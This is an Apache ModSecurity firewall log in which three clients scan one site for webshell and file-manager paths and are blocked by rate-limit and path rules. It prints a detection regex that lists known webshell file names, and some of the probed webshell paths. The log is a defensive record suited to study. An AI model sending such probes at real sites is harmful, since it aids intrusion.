[Mon Apr 06 18:47:05.921123 2026] [:error] [pid 35688:tid 35752] [client 51.103.121.89:49931] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPKeZ85qg4jLsRpQxvLQAAAII"]
[Mon Apr 06 18:47:06.422365 2026] [:error] [pid 9442:tid 9455] [client 172.213.138.9:55442] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPKkPsNnAJTnmz6saCLgAAAQs"]
[Mon Apr 06 18:47:06.779767 2026] [:error] [pid 35688:tid 35767] [client 51.103.121.89:41200] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPKuZ85qg4jLsRpQxvNQAAAJE"]
[Mon Apr 06 18:47:07.431189 2026] [:error] [pid 10280:tid 10290] [client 51.103.121.89:52680] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPK18QUJkf8g-BFfPLXgAAAcc"]
[Mon Apr 06 18:47:08.087756 2026] [:error] [pid 35686:tid 35701] [client 51.103.121.89:52164] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPLMMKdea6oORd2fzDbgAAAAU"]
[Mon Apr 06 18:47:08.800156 2026] [:error] [pid 35686:tid 35709] [client 51.103.121.89:48713] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPLMMKdea6oORd2fzDbwAAAA0"]
[Mon Apr 06 18:47:09.609691 2026] [:error] [pid 1827:tid 1830] [client 172.213.138.9:32524] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPLeVeb6S_DnjZ2xH32QAAAgE"]
[Mon Apr 06 18:47:10.209862 2026] [:error] [pid 35688:tid 35753] [client 51.103.121.89:48724] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPLuZ85qg4jLsRpQxvPAAAAIM"]
[Mon Apr 06 18:47:10.209914 2026] [:error] [pid 35688:tid 35774] [client 172.213.138.9:32529] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPLuZ85qg4jLsRpQxvPQAAAJg"]
[Mon Apr 06 18:47:11.363351 2026] [:error] [pid 9442:tid 9454] [client 51.103.121.89:48714] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPL0PsNnAJTnmz6saCQQAAAQo"]
[Mon Apr 06 18:47:11.420921 2026] [:error] [pid 9442:tid 9451] [client 172.213.138.9:55417] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPL0PsNnAJTnmz6saCQgAAAQc"]
[Mon Apr 06 18:47:12.129684 2026] [:error] [pid 9442:tid 9462] [client 51.103.121.89:49952] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPMEPsNnAJTnmz6saCRgAAARI"]
[Mon Apr 06 18:47:12.364150 2026] [:error] [pid 35688:tid 35768] [client 172.213.138.9:55453] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPMOZ85qg4jLsRpQxvRgAAAJI"]
[Mon Apr 06 18:47:13.369535 2026] [:error] [pid 1827:tid 1834] [client 172.213.138.9:38894] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPMeVeb6S_DnjZ2xH32gAAAgU"]
[Mon Apr 06 18:47:13.650691 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:42196] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPMeZ85qg4jLsRpQxvTQAAAJA"]
[Mon Apr 06 18:47:14.959896 2026] [:error] [pid 38562:tid 38578] [client 172.213.138.9:41777] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPMqeD6Ohe6wzRuy5m5gAAAU0"]
[Mon Apr 06 18:47:15.319381 2026] [:error] [pid 9442:tid 9456] [client 51.103.121.89:49978] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPM0PsNnAJTnmz6saCSgAAAQw"]
[Mon Apr 06 18:47:16.866351 2026] [:error] [pid 35786:tid 35814] [client 172.213.138.9:44953] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPNGgkfCKTaLhwaKQRjwAAANU"]
[Mon Apr 06 18:47:17.711748 2026] [:error] [pid 35688:tid 35762] [client 51.103.121.89:5604] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPNeZ85qg4jLsRpQxvWwAAAIw"]
[Mon Apr 06 18:47:19.102498 2026] [:error] [pid 35688:tid 35767] [client 172.213.138.9:55204] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPN-Z85qg4jLsRpQxvYwAAAJE"]
[Mon Apr 06 18:47:19.718771 2026] [:error] [pid 35688:tid 35771] [client 51.103.121.89:50205] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPN-Z85qg4jLsRpQxvZwAAAJU"]
[Mon Apr 06 18:47:20.270624 2026] [:error] [pid 35688:tid 35755] [client 172.213.138.9:55372] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPOOZ85qg4jLsRpQxvbQAAAIU"]
[Mon Apr 06 18:47:20.946581 2026] [:error] [pid 35688:tid 35773] [client 51.103.121.89:45308] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPOOZ85qg4jLsRpQxvbwAAAJc"]
[Mon Apr 06 18:47:21.023734 2026] [:error] [pid 35688:tid 35768] [client 51.120.80.210:57509] [client 51.120.80.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "adOPOeZ85qg4jLsRpQxvcAAAAJI"]
[Mon Apr 06 18:47:21.724203 2026] [:error] [pid 9442:tid 9453] [client 172.213.138.9:55736] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPOUPsNnAJTnmz6saCYAAAAQk"]
[Mon Apr 06 18:47:22.189968 2026] [:error] [pid 1827:tid 1841] [client 51.103.121.89:49974] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPOuVeb6S_DnjZ2xH33gAAAgw"]
[Mon Apr 06 18:47:23.036654 2026] [:error] [pid 38562:tid 38582] [client 51.103.121.89:51953] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPO6eD6Ohe6wzRuy5m9QAAAVE"]
[Mon Apr 06 18:47:23.232469 2026] [:error] [pid 1827:tid 1850] [client 172.213.138.9:37116] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPO-Veb6S_DnjZ2xH34AAAAhU"]
[Mon Apr 06 18:47:24.152165 2026] [:error] [pid 38562:tid 38569] [client 172.213.138.9:37393] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPPKeD6Ohe6wzRuy5m9gAAAUQ"]
[Mon Apr 06 18:47:24.498759 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:51928] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPPOZ85qg4jLsRpQxvdQAAAIU"]
[Mon Apr 06 18:47:25.656172 2026] [:error] [pid 35688:tid 35756] [client 172.213.138.9:37096] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPPeZ85qg4jLsRpQxvfwAAAIY"]
[Mon Apr 06 18:47:26.212008 2026] [:error] [pid 35688:tid 35762] [client 51.103.121.89:41949] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "adOPPuZ85qg4jLsRpQxvggAAAIw"]
[Mon Apr 06 18:47:26.933944 2026] [:error] [pid 38562:tid 38578] [client 172.213.138.9:34141] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPPqeD6Ohe6wzRuy5m-wAAAU0"]
[Mon Apr 06 18:47:26.970103 2026] [:error] [pid 38562:tid 38576] [client 51.103.121.89:5733] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPPqeD6Ohe6wzRuy5m_AAAAUs"]
[Mon Apr 06 18:47:28.079879 2026] [:error] [pid 9442:tid 9456] [client 51.103.121.89:41936] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPQEPsNnAJTnmz6saCegAAAQw"]
[Mon Apr 06 18:47:28.385798 2026] [:error] [pid 9442:tid 9458] [client 172.213.138.9:42479] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPQEPsNnAJTnmz6saCewAAAQ4"]
[Mon Apr 06 18:47:29.511522 2026] [:error] [pid 35687:tid 35727] [client 51.103.121.89:51841] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPQZ3LtDozV0i8BitacwAAAEQ"]
[Mon Apr 06 18:47:29.769491 2026] [:error] [pid 1827:tid 1838] [client 51.120.80.210:5739] [client 51.120.80.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "adOPQeVeb6S_DnjZ2xH35gAAAgk"]
[Mon Apr 06 18:47:29.997514 2026] [:error] [pid 1827:tid 1842] [client 172.213.138.9:43518] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPQeVeb6S_DnjZ2xH36QAAAg0"]
[Mon Apr 06 18:47:30.289170 2026] [:error] [pid 9442:tid 9466] [client 51.103.121.89:51957] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "adOPQkPsNnAJTnmz6saChwAAARY"]
[Mon Apr 06 18:47:31.623060 2026] [:error] [pid 35688:tid 35772] [client 51.103.121.89:38172] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPQ-Z85qg4jLsRpQxvjgAAAJY"]
[Mon Apr 06 18:47:32.891879 2026] [:error] [pid 35688:tid 35771] [client 51.103.121.89:48561] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPROZ85qg4jLsRpQxvlAAAAJU"]
[Mon Apr 06 18:47:35.333789 2026] [:error] [pid 35687:tid 35746] [client 51.103.121.89:48998] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPR53LtDozV0i8BitadgAAAFc"]
[Mon Apr 06 18:47:36.081816 2026] [:error] [pid 10280:tid 10299] [client 51.120.80.210:58057] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOPSF8QUJkf8g-BFfPLhgAAAdA"]
[Mon Apr 06 18:47:36.538302 2026] [:error] [pid 38562:tid 38580] [client 51.103.121.89:5739] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "adOPSKeD6Ohe6wzRuy5nCQAAAU8"]
[Mon Apr 06 18:47:38.419042 2026] [:error] [pid 35686:tid 35707] [client 51.120.80.210:36357] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOPSsMKdea6oORd2fzDfQAAAAs"]
[Mon Apr 06 18:47:38.459793 2026] [:error] [pid 35686:tid 35698] [client 51.103.121.89:48522] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPSsMKdea6oORd2fzDfgAAAAI"]
[Mon Apr 06 18:47:39.415558 2026] [:error] [pid 35688:tid 35760] [client 51.103.121.89:38186] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPS-Z85qg4jLsRpQxvpgAAAIo"]
[Mon Apr 06 18:47:40.068500 2026] [:error] [pid 35688:tid 35768] [client 51.120.80.210:58096] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOPTOZ85qg4jLsRpQxvpwAAAJI"]
[Mon Apr 06 18:47:40.723399 2026] [:error] [pid 9413:tid 9415] [client 51.103.121.89:37945] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPTHllvEK3chn01wG28AAAAYA"]
[Mon Apr 06 18:47:41.607371 2026] [:error] [pid 35688:tid 35763] [client 51.120.80.210:36367] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOPTeZ85qg4jLsRpQxvsgAAAI0"]
[Mon Apr 06 18:47:42.008124 2026] [:error] [pid 35688:tid 35772] [client 51.103.121.89:43795] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "adOPTuZ85qg4jLsRpQxvtwAAAJY"]
[Mon Apr 06 18:47:42.993558 2026] [:error] [pid 35688:tid 35753] [client 51.120.80.210:37053] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOPTuZ85qg4jLsRpQxvwAAAAIM"]
[Mon Apr 06 18:47:43.696114 2026] [:error] [pid 35688:tid 35773] [client 51.103.121.89:33724] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "adOPT-Z85qg4jLsRpQxvyQAAAJc"]
[Mon Apr 06 18:47:44.020065 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:46680] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOPUOZ85qg4jLsRpQxvzAAAAIg"]
[Mon Apr 06 18:47:45.112595 2026] [:error] [pid 35688:tid 35756] [client 51.120.80.210:36394] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOPUeZ85qg4jLsRpQxv1QAAAIY"]
